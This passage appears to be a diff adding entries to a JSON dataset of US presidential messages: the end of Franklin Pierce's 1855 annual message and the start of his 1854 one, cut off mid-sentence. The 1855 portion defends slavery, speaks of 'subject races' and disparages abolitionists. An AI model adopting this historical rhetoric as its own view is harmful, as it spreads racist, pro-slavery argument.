market.The peculiar relation of the General Government to the District of Columbia\nrenders it proper to commend to your care not only its material but also\nits moral interests, including education, more especially in those parts of\nthe District outside of the cities of Washington and Georgetown.The commissioners appointed to revise and codify the laws of the District\nhave made such progress in the performance of their task as to insure its\ncompletion in the time prescribed by the act of Congress.Information has recently been received that the peace of the settlements in\nthe Territories of Oregon and Washington is disturbed by hostilities on the\npart of the Indians, with indications of extensive combinations of a\nhostile character among the tribes in that quarter, the more serious in\ntheir possible effect by reason of the undetermined foreign interests\nexisting in those Territories, to which your attention has already been\nespecially invited. Efficient measures have been taken, which, it is\nbelieved, will restore quiet and afford protection to our citizens.In the Territory of Kansas there have been acts prejudicial to good order,\nbut as yet none have occurred under circumstances to justify the\ninterposition of the Federal Executive. That could only be in case of\nobstruction to Federal law or of organized resistance to Territorial law,\nassuming the character of insurrection, which, if it should occur, it would\nbe my duty promptly to overcome and suppress. I cherish the hope, however,\nthat the occurrence of any such untoward event will be prevented by the\nsound sense of the people of the Territory, who by its organic law,\npossessing the right to determine their own domestic institutions, are\nentitled while deporting themselves peacefully to the free exercise of that\nright, and must be protected in the enjoyment of it without interference on\nthe part of the citizens of any of the States. The southern boundary line\nof this Territory has never been surveyed and established. The rapidly\nextending settlements in that region and the fact that the main route\nbetween Independence, in the State of Missouri, and New Mexico is\ncontiguous in this line suggest the probability that embarrassing questions\nof jurisdiction may consequently arise. For these and other considerations\nI commend the subject to your early attention.I have thus passed in review the general state of the Union, including such\nparticular concerns of the Federal Government, whether of domestic or\nforeign relation, as it appeared to me desirable and useful to bring to the\nspecial notice of Congress. Unlike the great States of Europe and Asia and\nmany of those of America, these United States are wasting their strength\nneither in foreign war nor domestic strife. Whatever of discontent or\npublic dissatisfaction exists is attributable to the imperfections of human\nnature or is incident to all governments, however perfect, which human\nwisdom can devise. Such subjects of political agitation as occupy the\npublic mind consist to a great extent of exaggeration of inevitable evils,\nor over zeal in social improvement, or mere imagination of grievance,\nhaving but remote connection with any of the constitutional functions or\nduties of the Federal Government. To whatever extent these questions\nexhibit a tendency menacing to the stability of the Constitution or the\nintegrity of the Union, and no further, they demand the consideration of\nthe Executive and require to be presented by him to Congress.Before the thirteen colonies became a confederation of independent States\nthey were associated only by community of transatlantic origin, by\ngeographical position, and by the mutual tie of common dependence on Great\nBritain. When that tie was sundered they severally assumed the powers and\nrights of absolute self-government. The municipal and social institutions\nof each, its laws of property and of personal relation, even its political\norganization, were such only as each one chose to establish, wholly without\ninterference from any other. In the language of the Declaration of\nIndependence, each State had \"full power to levy war, conclude peace,\ncontract alliances, establish commerce, and to do all other acts and things\nwhich independent states may of right do.\" The several colonies differed in\nclimate, in soil, in natural productions, in religion, in systems of\neducation, in legislation, and in the forms of political administration,\nand they continued to differ in these respects when they voluntarily allied\nthemselves as States to carry on the War of the Revolution. The object of\nthat war was to disenthrall the united colonies from foreign rule, which\nhad proved to be oppressive, and to separate them permanently from the\nmother country. The political result was the foundation of a Federal\nRepublic of the free white men of the colonies, constituted, as they were,\nin distinct and reciprocally independent State governments. As for the\nsubject races, whether Indian or African, the wise and brave statesmen of\nthat day, being engaged in no extravagant scheme of social change, left\nthem as they were, and thus preserved themselves and their posterity from\nthe anarchy and the ever-recurring civil wars which have prevailed in other\nrevolutionized European colonies of America.When the confederated States found it convenient to modify the conditions\nof their association by giving to the General Government direct access in\nsome respects to the people of the States, instead of confining it to\naction on the States as such, they proceeded to frame the existing\nConstitution, adhering steadily to one guiding thought, which was to\ndelegate only such power as was necessary and proper to the execution of\nspecific purposes, or, in other words, to retain as much as possible\nconsistently with those purposes of the independent powers of the\nindividual States. For objects of common defense and security, they\nintrusted to the General Government certain carefully defined functions,\nleaving all others as the undelegated rights of the separate independent\nsovereignties.Such is the constitutional theory of our Government, the practical\nobservance of which has carried us, and us alone among modern republics,\nthrough nearly three generations of time without the cost of one drop of\nblood shed in civil war. With freedom and concert of action, it has enabled\nus to contend successfully on the battlefield against foreign foes, has\nelevated the feeble colonies into powerful States, and has raised our\nindustrial productions and our commerce which transports them to the level\nof the richest and the greatest nations of Europe. And the admirable\nadaptation of our political institutions to their objects, combining local\nself-government with aggregate strength, has established the practicability\nof a government like ours to cover a continent with confederate states.The Congress of the United States is in effect that congress of\nsovereignties which good men in the Old World have sought for, but could\nnever attain, and which imparts to America an exemption from the mutable\nleagues for common action, from the wars, the mutual invasions, and vague\naspirations after the balance of power which convulse from time to time the\nGovernments of Europe. Our cooperative action rests in the conditions of\npermanent confederation prescribed by the Constitution. Our balance of\npower is in the separate reserved rights of the States and their equal\nrepresentation in the Senate. That independent sovereignty in every one of\nthe States, with its reserved rights of local self-government assured to\neach by their coequal power in the Senate, was the fundamental condition of\nthe Constitution. Without it the Union would never have existed. However\ndesirous the larger States might be to reorganize the Government so as to\ngive to their population its proportionate weight in the common counsels,\nthey knew it was impossible unless they conceded to the smaller ones\nauthority to exercise at least a negative influence on all the measures of\nthe Government, whether legislative or executive, through their equal\nrepresentation in the Senate. Indeed, the larger States themselves could\nnot have failed to perceive that the same power was equally necessary to\nthem for the security of their own domestic interests against the aggregate\nforce of the General Government. In a word, the original States went into\nthis permanent league on the agreed premises of exerting their common\nstrength for the defense of the whole and of all its parts, but of utterly\nexcluding all capability of reciprocal aggression. Each solemnly bound\nitself to all the others neither to undertake nor permit any encroachment\nupon or intermeddling with another's reserved rights.Where it was deemed expedient particular rights of the States were\nexpressly guaranteed by the Constitution, but in all things besides these\nrights were guarded by the limitation of the powers granted and by express\nreservation of all powers not granted in the compact of union. Thus the\ngreat power of taxation was limited to purposes of common defense and\ngeneral welfare, excluding objects appertaining to the local legislation of\nthe several States; and those purposes of general welfare and common\ndefense were afterwards defined by specific enumeration as being matters\nonly of co-relation between the States themselves or between them and\nforeign governments, which, because of their common and general nature,\ncould not be left to the separate control of each State.Of the circumstances of local condition, interest, and rights in which a\nportion of the States, constituting one great section of the Union,\ndiffered from the rest and from another section, the most important was the\npeculiarity of a larger relative colored population in the Southern than in\nthe Northern States.A population of this class, held in subjection, existed in nearly all the\nStates, but was more numerous and of more serious concernment in the South\nthan in the North on account of natural differences of climate and\nproduction; and it was foreseen that, for the same reasons, while this\npopulation would diminish and sooner or later cease to exist in some\nStates, it might increase in others. The peculiar character and magnitude\nof this question of local rights, not in material relations only, but still\nmore in social ones, caused it to enter into the special stipulations of\nthe Constitution.Hence, while the General Government, as well by the enumerated powers\ngranted to it as by those not enumerated, and therefore refused to it, was\nforbidden to touch this matter in the sense of attack or offense, it was\nplaced under the general safeguard of the Union in the sense of defense\nagainst either invasion or domestic violence, like all other local\ninterests of the several States. Each State expressly stipulated, as well\nfor itself as for each and all of its citizens, and every citizen of each\nState became solemnly bound by his allegiance to the Constitution that any\nperson held to service or labor in one State, escaping into another, should\nnot, in consequence of any law or regulation thereof, be discharged from\nsuch service or labor, but should be delivered up on claim of the party to\nwhom such service or labor might be due by the laws of his State.Thus and thus only, by the reciprocal guaranty of all the rights of every\nState against interference on the part of another, was the present form of\ngovernment established by our fathers and transmitted to us, and by no\nother means is it possible for it to exist. If one State ceases to respect\nthe rights of another and obtrusively intermeddles with its local\ninterests; if a portion of the States assume to impose their institutions\non the others or refuse to fulfill their obligations to them, we are no\nlonger united, friendly States, but distracted, hostile ones, with little\ncapacity left of common advantage, but abundant means of reciprocal injury\nand mischief. Practically it is immaterial whether aggressive interference\nbetween the States or deliberate refusal on the part of any one of them to\ncomply with constitutional obligations arise from erroneous conviction or\nblind prejudice, whether it be perpetrated by direction or indirection. In\neither case it is full of threat and of danger to the durability of the\nUnion.Placed in the office of Chief Magistrate as the executive agent of the\nwhole country, bound to take care that the laws be faithfully executed, and\nspecially enjoined by the Constitution to give information to Congress on\nthe state of the Union, it would be palpable neglect of duty on my part to\npass over a subject like this, which beyond all things at the present time\nvitally concerns individual and public security.It has been matter of painful regret to see States conspicuous for their\nservices in rounding this Republic and equally sharing its advantages\ndisregard their constitutional obligations to it. Although conscious of\ntheir inability to heal admitted and palpable social evils of their own,\nand which are completely within their jurisdiction, they engage in the\noffensive and hopeless undertaking of reforming the domestic institutions\nof other States, wholly beyond their control and authority. In the vain\npursuit of ends by them entirely unattainable, and which they may not\nlegally attempt to compass, they peril the very existence of the\nConstitution and all the countless benefits which it has conferred. While\nthe people of the Southern States confine their attention to their own\naffairs, not presuming officiously to intermeddle with the social\ninstitutions of the Northern States, too many of the inhabitants of the\nlatter are permanently organized in associations to inflict injury on the\nformer by wrongful acts, which would be cause of war as between foreign\npowers and only fail to be such in our system because perpetrated under\ncover of the Union.Is it possible to present this subject as truth and the occasion require\nwithout noticing the reiterated but groundless allegation that the South\nhas persistently asserted claims and obtained advantages in the practical\nadministration of the General Government to the prejudice of the North, and\nin which the latter has acquiesced? That is, the States which either\npromote or tolerate attacks on the rights of persons and of property in\nother States, to disguise their own injustice, pretend or imagine, and\nconstantly aver, that they, whose constitutional rights are thus\nsystematically assailed, are themselves the aggressors. At the present time\nthis imputed aggression, resting, as it does, only in the vague declamatory\ncharges of political agitators, resolves itself into misapprehension, or\nmisinterpretation, of the principles and facts of the political\norganization of the new Territories of the United States.What is the voice of history? When the ordinance which provided for the\ngovernment of the territory northwest of the river Ohio and for its\neventual subdivision into new States was adopted in the Congress of the\nConfederation, it is not to be supposed that the question of future\nrelative power as between the States which retained and those which did not\nretain a numerous colored population escaped notice or failed to be\nconsidered. And yet the concession of that vast territory to the interests\nand opinions of the Northern States, a territory now the seat of five among\nthe largest members of the Union, was in great measure the act of the State\nof Virginia and of the South.When Louisiana was acquired by the United States, it was an acquisition not\nless to the North than to the South; for while it was important to the\ncountry at the mouth of the river Mississippi to become the emporium of the\ncountry above it, so also it was even more important to the whole Union to\nhave that emporium; and although the new province, by reason of its\nimperfect settlement, was mainly regarded as on the Gulf of Mexico, yet in\nfact it extended to the opposite boundaries of the United States, with far\ngreater breadth above than below, and was in territory, as in everything\nelse, equally at least an accession to the Northern States. It is mere\ndelusion and prejudice, therefore, to speak of Louisiana as acquisition in\nthe special interest of the South.The patriotic and just men who participated in the act were influenced by\nmotives far above all sectional jealousies. It was in truth the great event\nwhich, by completing for us the possession of the Valley of the\nMississippi, with commercial access to the Gulf of Mexico, imparted unity\nand strength to the whole Confederation and attached together by\nindissoluble ties the East and the West, as well as the North and the\nSouth.As to Florida, that was but the transfer by Spain to the United States of\nterritory on the east side of the river Mississippi in exchange for large\nterritory which the United States transferred to Spain on the west side of\nthat river, as the entire diplomatic history of the transaction serves to\ndemonstrate. Moreover, it was an acquisition demanded by the commercial\ninterests and the security of the whole Union. In the meantime the people\nof the United States had grown up to a proper consciousness of their\nstrength, and in a brief contest with France and in a second serious war\nwith Great Britain they had shaken off all which remained of undue\nreverence for Europe, and emerged from the atmosphere of those\ntransatlantic influences which surrounded the infant Republic, and had\nbegun to turn their attention to the full and systematic development of the\ninternal resources of the Union.Among the evanescent controversies of that period the most conspicuous was\nthe question of regulation by Congress of the social condition of the\nfuture States to be rounded in the territory of Louisiana.The ordinance for the government of the territory northwest of the river\nOhio had contained a provision which prohibited the use of servile labor\ntherein, subject to the condition of the extraditions of fugitives from\nservice due in any other part of the United States. Subsequently to the\nadoption of the Constitution this provision ceased to remain as a law, for\nits operation as such was absolutely superseded by the Constitution. But\nthe recollection of the fact excited the zeal of social propagandism in\nsome sections of the Confederation, and when a second State, that of\nMissouri, came to be formed in the territory of Louisiana proposition was\nmade to extend to the latter territory the restriction originally applied\nto the country situated between the rivers Ohio and Mississippi.Most questionable as was this proposition in all its constitutional\nrelations, nevertheless it received the sanction of Congress, with some\nslight modifications of line, to save the existing rights of the intended\nnew State. It was reluctantly acquiesced in by Southern States as a\nsacrifice to the cause of peace and of the Union, not only of the rights\nstipulated by the treaty of Louisiana, but of the principle of equality\namong the States guaranteed by the Constitution. It was received by the\nNorthern States with angry and resentful condemnation and complaint,\nbecause it did not concede all which they had exactingly demanded. Having\npassed through the forms of legislation, it took its place in the statute\nbook, standing open to repeal, like any other act of doubtful\nconstitutionality, subject to be pronounced null and void by the courts of\nlaw, and possessing no possible efficacy to control the rights of the\nStates which might thereafter be organized out of any part of the original\nterritory of Louisiana.In all this, if any aggression there were, any innovation upon preexisting\nrights, to which portion of the Union are they justly chargeable? This\ncontroversy passed away with the occasion, nothing surviving it save the\ndormant letter of the statute.But long afterwards, when by the proposed accession of the Republic of\nTexas the United States were to take their next step in territorial\ngreatness, a similar contingency occurred and became the occasion for\nsystematized attempts to intervene in the domestic affairs of one section\nof the Union, in defiance of their rights as States and of the stipulations\nof the Constitution. These attempts assumed a practical direction in the\nshape of persevering endeavors by some of the Representatives in both\nHouses of Congress to deprive the Southern States of the supposed benefit\nof the provisions of the act authorizing the organization of the State of\nMissouri.But the good sense of the people and the vital force of the Constitution\ntriumphed over sectional prejudice and the political errors of the day, and\nthe State of Texas returned to the Union as she was, with social\ninstitutions which her people had chosen for themselves and with express\nagreement by the reannexing act that she should be susceptible of\nsubdivision into a plurality of States.Whatever advantage the interests of the Southern States, as such, gained by\nthis were far inferior in results, as they unfolded in the progress of\ntime, to those which sprang from previous concessions made by the South.To every thoughtful friend of the Union, to the true lovers of their\ncountry, to all who longed and labored for the full success of this great\nexperiment of republican institutions, it was cause of gratulation that\nsuch an opportunity had occurred to illustrate our advancing power on this\ncontinent and to furnish to the world additional assurance of the strength\nand stability of the Constitution. Who would wish to see Florida still a\nEuropean colony? Who would rejoice to hail Texas as a lone star instead of\none in the galaxy of States? Who does not appreciate the incalculable\nbenefits of the acquisition of Louisiana? And yet narrow views and\nsectional purposes would inevitably have excluded them all from the Union.But another struggle on the same point ensued when our victorious armies\nreturned from Mexico and it devolved on Congress to provide for the\nterritories acquired by the treaty of Guadalupe Hidalgo. The great\nrelations of the subject had now become distinct and clear to the\nperception of the public mind, which appreciated the evils of sectional\ncontroversy upon the question of the admission of new States. In that\ncrisis intense solicitude pervaded the nation. But the patriotic impulses\nof the popular heart, guided by the admonitory advice of the Father of his\nCountry, rose superior to all the difficulties of the incorporation of a\nnew empire into the Union. In the counsels of Congress there was manifested\nextreme antagonism of opinion and action between some Representatives, who\nsought by the abusive and unconstitutional employment of the legislative\npowers of the Government to interfere in the condition of the inchoate\nStates and to impose their own social theories upon the latter, and other\nRepresentatives, who repelled the interposition of the General Government\nin this respect and maintained the self-constituting rights of the States.\nIn truth, the thing attempted was in form alone action of the General\nGovernment, while in reality it was the endeavor, by abuse of legislative\npower, to force the ideas of internal policy entertained in particular\nStates upon allied independent States. Once more the Constitution and the\nUnion triumphed signally. The new territories were organized without\nrestrictions on the disputed point, and were thus left to judge in that\nparticular for themselves; and the sense of constitutional faith proved\nvigorous enough in Congress not only to accomplish this primary object, but\nalso the incidental and hardly less important one of so amending the\nprovisions of the statute for the extradition of fugitives from service as\nto place that public duty under the safeguard of the General Government,\nand thus relieve it from obstacles raised up by the legislation of some of\nthe States.Vain declamation regarding the provisions of law for the extradition of\nfugitives from service, with occasional episodes of frantic effort to\nobstruct their execution by riot and murder, continued for a brief time to\nagitate certain localities. But the true principle of leaving each State\nand Territory to regulate its own laws of labor according to its own sense\nof right and expediency had acquired fast hold of the public judgment, to\nsuch a degree that by common consent it was observed in the organization of\nthe Territory of Washington. When, more recently, it became requisite to\norganize the Territories of Nebraska and Kansas, it was the natural and\nlegitimate, if not the inevitable, consequence of previous events and\nlegislation that the same great and sound principle which had already been\napplied to Utah and New Mexico should be applied to them--that they should\nstand exempt from the restrictions proposed in the act relative to the\nState of Missouri.These restrictions were, in the estimation of many thoughtful men, null\nfrom the beginning, unauthorized by the Constitution, contrary to the\ntreaty stipulations for the cession of Louisiana, and inconsistent with the\nequality of these States.They had been stripped of all moral authority by persistent efforts to\nprocure their indirect repeal through contradictory enactments. They had\nbeen practically abrogated by the legislation attending the organization of\nUtah, New Mexico, and Washington. If any vitality remained in them it would\nhave been taken away, in effect, by the new Territorial acts in the form\noriginally proposed to the Senate at the first session of the last\nCongress. It was manly and ingenuous, as well as patriotic and just, to do\nthis directly and plainly, and thus relieve the statute book of an act\nwhich might be of possible future injury, but of no possible future\nbenefit; and the measure of its repeal was the final consummation and\ncomplete recognition of the principle that no portion of the United States\nshall undertake through assumption of the powers of the General Government\nto dictate the social institutions of any other portion.The scope and effect of the language of repeal were not left in doubt. It\nwas declared in terms to be \"the true intent and meaning of this act not to\nlegislate slavery into any Territory or State, nor to exclude it therefrom,\nbut to leave the people thereof perfectly free to form and regulate their\ndomestic institutions in their own way, subject only to the Constitution of\nthe United States.\"The measure could not be withstood upon its merits alone. It was attacked\nwith violence on the false or delusive pretext that it constituted a breach\nof faith. Never was objection more utterly destitute of substantial\njustification. When before was it imagined by sensible men that a\nregulative or declarative statute, whether enacted ten or forty years ago,\nis irrepealable; that an act of Congress is above the Constitution? If,\nindeed, there were in the facts any cause to impute bad faith, it would\nattach to those only who have never ceased, from the time of the enactment\nof the restrictive provision to the present day, to denounce and condemn\nit; who have constantly refused to complete it by needful supplementary\nlegislation; who have spared no exertion to deprive it of moral force; who\nhave themselves again and again attempted its repeal by the enactment of\nincompatible provisions, and who, by the inevitable reactionary effect of\ntheir own violence on the subject, awakened the country to perception of\nthe true constitutional principle of leaving the matter involved to the\ndiscretion of the people of the respective existing or incipient States.It is not pretended that this principle or any other precludes the\npossibility of evils in practice, disturbed, as political action is liable\nto be, by human passions. No form of government is exempt from\ninconveniences; but in this case they are the result of the abuse, and not\nof the legitimate exercise, of the powers reserved or conferred in the\norganization of a Territory. They are not to be charged to the great\nprinciple of popular sovereignty. On the contrary, they disappear before\nthe intelligence and patriotism of the people, exerting through the ballot\nbox their peaceful and silent but irresistible power.If the friends of the Constitution are to have another struggle, its\nenemies could not present a more acceptable issue than that of a State\nwhose constitution clearly embraces \"a republican form of government\" being\nexcluded from the Union because its domestic institutions may not in all\nrespects comport with the ideas of what is wise and expedient entertained\nin some other State. Fresh from groundless imputations of breach of faith\nagainst others, men will commence the agitation of this new question with\nindubitable violation of an express compact between the independent\nsovereign powers of the United States and of the Republic of Texas, as well\nas of the older and equally solemn compacts which assure the equality of\nall the States.But deplorable as would be such a violation of compact in itself and in all\nits direct consequences, that is the very least of the evils involved. When\nsectional agitators shall have succeeded in forcing on this issue, can\ntheir pretensions fail to be met by counter pretensions? Will not different\nStates be compelled, respectively, to meet extremes with extremes? And if\neither extreme carry its point, what is that so far forth but dissolution\nof the Union? If a new State, formed from the territory of the United\nStates, be absolutely excluded from admission therein, that fact of itself\nconstitutes the disruption of union between it and the other States. But\nthe process of dissolution could not stop there. Would not a sectional\ndecision producing such result by a majority of votes, either Northern or\nSouthern, of necessity drive out the oppressed and aggrieved minority and\nplace in presence of each other two irreconcilably hostile confederations?It is necessary to speak thus plainly of projects the offspring of that\nsectional agitation now prevailing in some of the States, which are as\nimpracticable as they are unconstitutional, and which if persevered in must\nand will end calamitously. It is either disunion and civil war or it is\nmere angry, idle, aimless disturbance of public peace and tranquillity.\nDisunion for what? If the passionate rage of fanaticism and partisan spirit\ndid not force the fact upon our attention, it would be difficult to believe\nthat any considerable portion of the people of this enlightened country\ncould have so surrendered themselves to a fanatical devotion to the\nsupposed interests of the relatively few Africans in the United States as\ntotally to abandon and disregard the interests of the 25,000,000 Americans;\nto trample under foot the injunctions of moral and constitutional\nobligation, and to engage in plans of vindictive hostility against those\nwho are associated with them in the enjoyment of the common heritage of our\nnational institutions.Nor is it hostility against their fellow-citizens of one section of the\nUnion alone. The interests, the honor, the duty, the peace, and the\nprosperity of the people of all sections are equally involved and imperiled\nin this question. And are patriotic men in any part of the Union prepared\non such issue thus madly to invite all the consequences of the forfeiture\nof their constitutional engagements? It is impossible. The storm of frenzy\nand faction must inevitably dash itself in vain against the unshaken rock\nof the Constitution. I shall never doubt it. I know that the Union is\nstronger a thousand times than all the wild and chimerical schemes of\nsocial change which are generated one after another in the unstable minds\nof visionary sophists and interested agitators. I rely confidently on the\npatriotism of the people, on the dignity and self-respect of the States, on\nthe wisdom of Congress, and, above all, on the continued gracious favor of\nAlmighty God to maintain against all enemies, whether at home or abroad,\nthe sanctity of the Constitution and the integrity of the Union.", 
+    "name": "Franklin Pierce"
+}
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+{
+    "date": "December 4, 1854", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:The past has been an eventful year, and will be hereafter referred to as a\nmarked epoch in the history of the world. While we have been happily\npreserved from the calamities of war, our domestic prosperity has not been\nentirely uninterrupted. The crops in portions of the country have been\nnearly cut off. Disease has prevailed to a greater extent than usual, and\nthe sacrifice of human life through casualties by sea and land is without\nparallel. But the pestilence has swept by, and restored salubrity invites\nthe absent to their homes and the return of business to its ordinary\nchannels. If the earth has rewarded the labor of the husbandman less\nbountifully than in preceding seasons, it has left him with abundance for\ndomestic wants and a large surplus for exportation. In the present,\ntherefore, as in the past, we find ample grounds for reverent thankfulness\nto the God of grace and providence for His protecting care and merciful\ndealings with us as a people.Although our attention has been arrested by painful interest in passing\nevents, yet our country feels no more than the slight vibrations of the\nconvulsions which have shaken Europe. As individuals we can not repress\nsympathy with human suffering nor regret for the causes which produce it;\nas a nation we are reminded that whatever interrupts the peace or checks\nthe prosperity of any part of Christendom tends more or less to involve our\nown. The condition of States is not unlike that of individuals; they are\nmutually dependent upon each other. Amicable relations between them and\nreciprocal good will are essential for the promotion of whatever is\ndesirable in their moral, social, and political condition. Hence it has\nbeen my earnest endeavor to maintain peace and friendly intercourse with\nall nations.The wise theory of this Government, so early adopted and steadily pursued,\nof avoiding all entangling alliances has hitherto exempted it from many\ncomplications in which it would otherwise have become involved.\nNotwithstanding this our clearly defined and well-sustained course of\naction and our geographical position, so remote from Europe, increasing\ndisposition has been manifested by some of its Governments to supervise and\nin certain respects to direct our foreign policy. In plans for adjusting\nthe balance of power among themselves they have assumed to take us into\naccount, and would constrain us to conform our conduct to their views. One\nor another of the powers of Europe has from time to time undertaken to\nenforce arbitrary regulations contrary in many respects to established\nprinciples of international law. That law the United States have in their\nforeign intercourse uniformly respected and observed, and they can not\nrecognize any such interpolations therein as the temporary interests of\nothers may suggest. They do not admit that the sovereigns of one continent\nor of a particular community of states can legislate for all others.Leaving the transatlantic nations to adjust their political system in the\nway they may think best for their common welfare, the independent powers of\nthis continent may well assert the right to be exempt from all annoying\ninterference on their part. Systematic abstinence from intimate political\nconnection with distant foreign nations does not conflict with giving the\nwidest range to our foreign commerce. This distinction, so clearly marked\nin history, seems to have been overlooked or disregarded by some leading\nforeign states. Our refusal to be brought within and subjected to their\npeculiar system has, I fear, created a jealous distrust of our conduct and\ninduced on their part occasional acts of disturbing effect upon our foreign\nrelations. Our present attitude and past course give assurances, which\nshould not be questioned, that our purposes are not aggressive nor\nthreatening to the safety and welfare of other nations. Our military\nestablishment in time of peace is adapted to maintain exterior defenses and\nto preserve order among the aboriginal tribes within the limits of the\nUnion. Our naval force is intended only for the protection of our citizens\nabroad and of our commerce, diffused, as it is, over all the seas of the\nglobe. The Government of the United States, being essentially pacific in\npolicy, stands prepared to repel invasion by the voluntary service of a\npatriotic people, and provides no permanent means of foreign aggression.\nThese considerations should allay all apprehension that we are disposed to\nencroach on the rights or endanger the security of other states.Some European powers have regarded with disquieting concern the territorial\nexpansion of the United States. This rapid growth has resulted from the\nlegitimate exercise of sovereign rights belonging alike to all nations, and\nby many liberally exercised. Under such circumstances it could hardly have\nbeen expected that those among them which have within a comparatively\nrecent period subdued and absorbed ancient kingdoms, planted their\nstandards on every continent, and now possess or claim the control of the\nislands of every ocean as their appropriate domain would look with\nunfriendly sentiments upon the acquisitions of this country, in every\ninstance honorably obtained, or would feel themselves justified in imputing\nour advancement to a spirit of aggression or to a passion for political\npredominance. Our foreign commerce has reached a magnitude and extent\nnearly equal to that of the first maritime power of the earth, and\nexceeding that of any other. Over this great interest, in which not only\nour merchants, but all classes of citizens, at least indirectly, are\nconcerned, it is the duty of the executive and legislative branches of the\nGovernment to exercise a careful supervision and adopt proper measures for\nits protection. The policy which I had in view in regard to this interest\nembraces its future as well as its present security. Long experience has\nshown that, in general, when the principal powers of Europe are engaged in\nwar the rights of neutral nations are endangered. This consideration led,\nin the progress of the War of our Independence, to the formation of the\ncelebrated confederacy of armed neutrality, a primary object of which was\nto assert the doctrine that free ships make free goods, except in the case\nof articles contraband of war--a doctrine which from the very commencement\nof our national being has been a cherished idea of the statesmen of this\ncountry. At one period or another every maritime power has by some solemn\ntreaty stipulation recognized that principle, and it might have been hoped\nthat it would come to be universally received and respected as a rule of\ninternational law. But the refusal of one power prevented this, and in the\nnext great war which ensued--that of the French Revolution--it failed to be\nrespected among the belligerent States of Europe. Notwithstanding this, the\nprinciple is generally admitted to be a sound and salutary one, so much so\nthat at the commencement of the existing war in Europe Great Britain and\nFrance announced their purpose to observe it for the present; not, however,\nas a recognized international fight, but as a mere concession for the time\nbeing. The cooperation, however, of these two powerful maritime nations in\nthe interest of neutral rights appeared to me to afford an occasion\ninviting and justifying on the part of the United States a renewed effort\nto make the doctrine in question a principle of international law, by means\nof special conventions between the several powers of Europe and America.\nAccordingly, a proposition embracing not only the rule that free ships make\nfree goods, except contraband articles, but also the less contested one\nthat neutral property other than contraband, though on board enemy's ships,\nshall be exempt from confiscation, has been submitted by this Government to\nthose of Europe and America.Russia acted promptly in this matter, and a convention was concluded\nbetween that country and the United States providing for the observance of\nthe principles announced, not only as between themselves, but also as\nbetween them and all other nations which shall enter into like\nstipulations. None of the other powers have as yet taken final action on\nthe subject. I am not aware, however, that any objection to the proposed\nstipulations has been made, but, on the contrary, they are acknowledged to\nbe essential to the security of neutral commerce, and the only apparent\nobstacle to their general adoption is in the possibility that it may be\nencumbered by inadmissible conditions. The King of the Two Sicilies has\nexpressed to our minister at Naples his readiness to concur in our\nproposition relative to neutral rights and to enter into a convention on\nthat subject.The King of Prussia entirely approves of the project of a treaty to the\nsame effect submitted to him, but proposes an additional article providing\nfor the renunciation of privateering. Such an article, for most obvious\nreasons, is much desired by nations having naval establishments large in\nproportion to their foreign commerce. If it were adopted as an\ninternational rule, the commerce of a nation having comparatively a small\nnaval force would be very much at the mercy of its enemy in case of war\nwith a power of decided naval superiority. The bare statement of the\ncondition in which the United States would be placed, after having\nsurrendered the right to resort to privateers, in the event of war with a\nbelligerent of naval supremacy will show that this Government could never\nlisten to such a proposition. The navy of the first maritime power in\nEurope is at least ten times as large as that of the United States. The\nforeign commerce of the two countries is nearly equal, and about equally\nexposed to hostile depredations. In war between that power and the United\nStates, without resort on our part to our mercantile marine the means of\nour enemy to inflict injury upon our commerce would be tenfold greater than\nours to retaliate. We could not extricate our country from this unequal\ncondition, with such an enemy, unless we at once departed from our present\npeaceful policy and became a great naval power. Nor would this country be\nbetter situated in war with one of the secondary naval powers. Though the\nnaval disparity would be less, the greater extent and more exposed\ncondition of our widespread commerce would give any of them a like\nadvantage over us.The proposition to enter into engagements to forego a resort to privateers\nin case this country should be forced into war with a great naval power is\nnot entitled to more favorable consideration than would be a proposition to\nagree not to accept the services of volunteers for operations on land. When\nthe honor or the rights of our country require it to assume a hostile\nattitude, it confidently relies upon the patriotism of its citizens, not\nordinarily devoted to the military profession, to augment the Army and the\nNavy so as to make them fully adequate to the emergency which calls them\ninto action. The proposal to surrender the right to employ privateers is\nprofessedly founded upon the principle that private property of unoffending\nnoncombatants, though enemies, should be exempt from the ravages of war;\nbut the proposed surrender goes but little way in carrying out that\nprinciple, which equally requires that such private property should not be\nseized or molested by national ships of war. Should the leading powers of\nEurope concur in proposing as a rule of international law to exempt private\nproperty upon the ocean from seizure by public armed cruisers as well as by\nprivateers, the United States will readily meet them upon that broad\nground.Since the adjournment of Congress the ratifications of the treaty between\nthe United States and Great Britain relative to coast fisheries and to\nreciprocal trade with the British North American Provinces have been\nexchanged, and some of its anticipated advantages are already enjoyed by\nus, although its full execution was to abide certain acts of legislation\nnot yet fully performed. So soon as it was ratified Great Britain opened to\nour commerce the free navigation of the river St. Lawrence and to our\nfishermen unmolested access to the shores and bays, from which they had\nbeen previously excluded, on the coasts of her North American Provinces; in\nreturn for which she asked for the introduction free of duty into the ports\nof the United States of the fish caught on the same coast by British\nfishermen. This being the compensation stipulated in the treaty for\nprivileges of the highest importance and value to the United States, which\nwere thus voluntarily yielded before it became effective, the request\nseemed to me to be a reasonable one; but it could not be acceded to from\nwant of authority to suspend our laws imposing duties upon all foreign\nfish. In the meantime the Treasury Department issued a regulation for\nascertaining the duties paid or secured by bonds on fish caught on the\ncoasts of the British Provinces and brought to our markets by British\nsubjects after the fishing grounds had been made fully accessible to the\ncitizens of the United States. I recommend to your favorable consideration\na proposition, which will be submitted to you, for authority to refund the\nduties and cancel the bonds thus received. The Provinces of Canada and New\nBrunswick have also anticipated the full operation of the treaty by\nlegislative arrangements, respectively, to admit free of duty the products\nof the United States mentioned in the free list of the treaty; and an\narrangement similar to that regarding British fish has been made for duties\nnow chargeable on the products of those Provinces enumerated in the same\nfree list and introduced therefrom into the United States, a proposition\nfor refunding which will, in my judgment, be in like manner entitled to\nyour favorable consideration.There is difference of opinion between the United States and Great Britain\nas to the boundary line of the Territory of Washington adjoining the\nBritish possessions on the Pacific, which has already led to difficulties\non the part of the citizens and local authorities of the two Governments I\nrecommend that provision he made for a commission, to be joined by one on\nthe part of Her Britannic Majesty, for the purpose of running and\nestablishing the line in controversy. Certain stipulations of the third and\nfourth articles of the treaty concluded by the United States and Great\nBritain in 1846, regarding possessory rights of the Hudsons Bay Company and\nproperty of the Pugets Sound Agricultural Company, have given rise to\nserious disputes, and it is important to all concerned that summary means\nof settling them amicably should be devised. I have reason to believe that\nan arrangement can be made on just terms for the extinguishment of the\nrights in question, embracing also the right of the Hudsons Bay Company to\nthe navigation of the river Columbia; and I therefore suggest to your\nconsideration the expediency of making a contingent appropriation for that\npurpose.France was the early and efficient ally of the United States in 